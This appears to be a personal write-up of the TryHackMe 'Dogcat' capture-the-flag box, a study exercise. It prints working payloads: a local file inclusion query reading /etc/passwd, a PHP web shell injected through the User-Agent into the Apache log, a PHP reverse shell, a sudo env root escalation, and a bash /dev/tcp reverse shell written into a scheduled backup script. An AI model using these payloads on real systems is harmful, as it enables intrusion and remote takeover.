THM - Dogcat
Introduction
I made this website for viewing cat and dog images with PHP. If you’re feeling down, come look at some dogs/cats!
This is a medium rated box, and right up front I’ll say that I had to look up some hints for it. Let’s begin.
Webserver
The page description says that it’s a website for viewing pictures of cats and dogs, so that’s obviously a good place to start. I did run an nmap scan anyway but it’s not really relevant.
The website begins with a query of the form:
http://10.10.77.47/?view=
Where the view parameter is either dog or cat. Entering anything else provokes a warning about the query needing to be a dog or cat.
I figured this was an LFI challenge (which it is), but I had some trouble getting it to work.
Null bytes? Nope.
Basic path traversal wasn’t working, and I found that entering a query like
http://10.10.77.47/?view=/etc/passwd%00dog
satisfied the dog/cat filter requirement, but only provoked errors about not being able to include the file - so null bytes actually didn’t work.
After some trial and error, googling and failing, I consulted a guide and it turned out that the required query is something like:
GET /?view=php://filter/read=convert.base64-encode/resource=./dog/../../../../etc/passwd&ext=
which returns a base64 encoded string - useable, but annoying. We can also get the apache2 access log, which I tried to poison. I was able to insert PHP code into the log file using netcat, but didn’t manage to get it to execute.
Actually the first file I looked at was the source code for the webpage - index.php. This showed the code used to add the .php extension and from there I figured out how to bypass it (by putting &ext= in the URL).
I had done a little LFI before, but this was a little more complex than the simpler types I had previously seen.
User Agent
So now I had my LFI - but I could only read a single file at a time, and only a limited set of them at that (as www-data). I had to go back to the guide again to learn that using Burp Suite we can put the payload
<?php system($_GET['cmd']);?>
into the User-Agent, and from then on we can execute commands as follows:
GET /?view=php://filter/read=convert.base64-encode/resource=./dog/../../../../var/log/apache2/access&ext=.log&cmd=id
So then I had RCE, which was a big step forward. I hadn’t seen this User-Agent technique before either.
Shell
Once we’ve got RCE we can then send this command to get a shell:
GET /?view=php://filter/resource=./dog/../../../../var/log/apache2/access&ext=.log&cmd=php+-r+'$sock%3dfsockopen("10.9.10.123",1234)%3bexec("/bin/sh+-i+<%263+>%263+2>%263")%3b'
On the box - or rather, IN the box
On the box we can run linpeas, which shows that:
- we’re in a docker container, and
- we can run env as root without a password
That means we can do:
$ sudo env /bin/sh -p
And become root (in the container.) From there, the first 3 flags are easy to obtain (although I think at this point I had two already? I don’t recall).
The last one
The final flag was on the box, and not in the container. Some enumeration revealed a backup folder in /opt along with a shell script running on a frequent schedule. We could replace the contents of the backup.sh as follows:
echo "#!/bin/bash" > backup.sh
echo "/bin/bash -c 'bash -i >& /dev/tcp/10.9.10.123/1235 0>&1'" >> backup.sh
And then it was just a matter of waiting a little for the schedule to run.
Overall
This box was a little tougher than I thought it would be and I didn’t do it all on my own. I did give it a pretty good go though, and I definitely learned some things.